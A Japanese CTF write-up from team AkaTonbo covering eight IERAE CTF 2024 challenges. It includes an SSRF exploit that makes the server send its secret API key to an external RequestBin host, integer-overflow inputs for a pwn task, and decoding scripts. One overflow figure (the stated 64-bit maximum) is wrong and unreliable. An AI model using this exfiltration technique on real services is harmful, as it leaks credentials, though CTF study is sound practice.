📑

IERAE CTF 2024 writeup - AkaTonbo -

2024/09/23に公開

IERAE CTF 2024 writeup

概要

IERAE CTF 2024のwriteup記事です。
チーム:AkaTonbo、メンバーは自分(Auth0r)とくままぬいの2人で参加しました。
チームで8問解き、結果は36位という結果でした。

自分が担当した問題だけでなく、チームで解いた問題全てのwriteupとなっており、一部はくままぬいさんにも執筆していただきました。

Web

Futari APIs

APIがflagになっており、URLパラメータとして渡されている。

async function searchUser(user: string, userSearchAPI: string) {
  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
  return await fetch(uri);
}

ユーザーからの入力をnew URLの引数に利用しており、絶対URLを指定すると、指定したサーバーにリクエストが送られる脆弱性がある。
自分でサーバーを立てるのがめんどくさかったので、RequestBinでリクエストをキャッチして、
http://ipaddress?user=https://encyhivvmyydh.x.pipedream.net/
として送ると、RequestBinにフラグが送信される。

FLAG

Flag:IERAE{yey!you_got_a_web_warmup_flag!}

Misc

OMG

戻るボタンを33回押したら、FLAGが手に入る。

FLAG

FLAG:IERAE{Tr3ndy_4ds.LOL}

Pwn

This is warmup

セグメンテーションフォルトを発生させると、win関数が呼び出されてFLAGを獲得できる。

  if (nrow * ncol < nrow) { // this is integer overflow right?
    puts("Don't hack!");
    exit(1);
  }

でのオーバーフロー処理に問題がある。
2<sup>64</sup>-1 = 9223372036854775805が64bitの最大値であるため、
例えば、nrow, ncolに2, (2^63+1)を入力すると、
nrow * ncol = 2 * (2<sup>63</sup>+1) = 18446744073709551618
オーバーフローして、
nrow * ncol = 18446744073709551618 mod 2<sup>64</sup> = 2 となる。
メモリ範囲外にアクセスすることで、セグメンテーションフォルトが発生し、FLAGが獲得できる。
Enter number of rows: 2
Enter number of cols: 9223372036854775809
Well done!

FLAG

IERAE{s33?n07_41w4y5_1_cr3a73_d1ff1cu1t_pr0b13m5}

Crypto

derangement

シャッフルされたmagic_wordの出力結果から、元のmagic_wordを求めればflagを獲得できる。

is_derangement関数の中身を見ると、出力される文字列のN番目の文字は元のmagic_wordのN番目の文字と「必ず異なる」ことがわかる。
(例えば、magic_wordが"ABCDE"なら、Aが出力されるのは1番目以外、Bは2番目以外、...)

そのため、いくつかの出力結果を集めて、N番目に出てこない文字を探せば良い。

$ nc ポート番号 > log.out
の後、1とエンターキーを交互に連打!

以下のコードから、log.outの結果から元のmagic_wordを出力し、flag獲得した。
(簡易に作ったのでコードが汚いのはご愛嬌)

コード
file_path = "log.out"

with open(file_path) as f:
	magic_word_rand = [s.rstrip() for s in f.readlines()]

magic_word_rand = magic_word_rand[9:-1:3]

for i,x in enumerate(magic_word_rand):
	magic_word_rand[i] = x[8:]

base = magic_word_rand[0]
base_list = []
magic_word_orig = ""

for i in range(len(magic_word_rand[0])):
	tmp=""
	for j in range(len(magic_word_rand)):
		tmp += magic_word_rand[j][i]

	base_list += [tmp]

for i in range(len(base)):
	for x in base:
		if x not in base_list[i]:
			magic_word_orig += x
			break


print(magic_word_orig)
FLAG

IERAE{th3r35_n0_5uch_th!ng_45_p3rf3ct_3ncrypt!0n}

weak_prng

名前の通り、PRNG(疑似乱数生成器)の問題
内部で一度乱数(secret)を生成しており、後の出力結果からsecretの値を求めるとFLAG獲得できる。

コードにも書いてある通り、Pythonの乱数生成はMersenne Twisterで生成していることがわかる。Mersene Twisterについては、こちらの記事を参考にしました。
1回の出力で16の乱数が生成されるので、624/16 = 39回分の出力結果を元に、secretの値を求めた。

FLAG

IERAE{WhY_4r3_n'7_Y0u_u51n6_4_CSPRNG_3v3n_1n_2024}
(FLAG、面白くて好き)

Reversing

assinment

stringコマンドやバイナリエディタでファイルを見たがFLAGは見つからず。
(バイナリエディタで見た時にFLAGがありそうな箇所は見つかったが、バイナリから読み解くには実力不足のため断念。)

Ghidraで解析を行い、逆コンパイルしたmain関数を見てみると

 flag[28] = 0x33;
 flag[1] = 0x45;
 flag[2] = 0x52;
 flag[20] = 0x72;

などの怪しげな箇所を発見した。
flagのindexの順番通りに、値を文字コードに変換するとFLAGを獲得。

FLAG

IERAE{s0me_r4nd0m_str1ng_5a9354c}

Luz Da Lua

プログラミング言語 Luaの実行ファイルの問題。
Luaは触ったことなかったので、Luaを逆コンパイルするのに色々調べ、以下のサイトにたどり着いた。
Lua Decompiler

LuadecLuaJIT-Decompilerに関連する記事も発見しましたが、面倒そうなのでやめた。)

一部抜粋した出力結果は以下の通り。

-- filename: @/mnt/LuzDaLua.lua
-- version: lua54
-- line: [0, 0] id: 0
io.write("Input > ")
input = io.read("*l")
if string.len(input) ~= 28 then
  goto label_301
elseif string.byte(input, 1) ~ 232 ~= 161 then
  goto label_301
  
  (途中省略)
  
elseif string.byte(input, 28) ~ 61 ~= 64 then
  goto label_301
  
  else
  print("Correct")
end
-- warn: not visited block [59]
-- block#59:
-- _ENV.print("Wrong")

inputの値がFLAGになると推測した。

Luaの~=は比較演算子の1つで左辺と右辺が異なるかを判断し、~ はXOR演算子を意味します。(参考

そのため、6行目からは if string.len(input) ~= 28 then
から、FLAGの文字数が28であることがわかる。

また、8行目からは elseif string.byte(input, 1) ~ 232 ~= 161
inputの1文字目は、コードポイントに232で排他的論理和を取ったものが161となる値。
つまり、「232 xor 161 = 73」を表す文字コード「I」となることがわかる。

排他的論理和を計算し、文字コードに変換する作業を28文字繰り返すとFLAG獲得。

FLAG

IERAE{Lua_1s_S0_3duc4t1onal}

感想

Auth0r

warmupとeasyをそこそこ解けたのでよかったです。
一方で、medium問を解けなかったこと、sagemathなど一部のツールに慣れておらず時間を浪費してしまうところがあったので、しっかりと準備して望みたい思いました。

1つのジャンル全完できるようことを目標に精進します!

くままぬい

チームメンバーにリードしてもらう形で進めていきました。上の人が強すぎる。最後駆け込みで2問解けたのは僥倖でしたが、もう少し速く解けるとよかったのかなとも思いました。またチーム組んでやりましょう!
これから雌の鮭を2尾、さばいてきます。

Discussion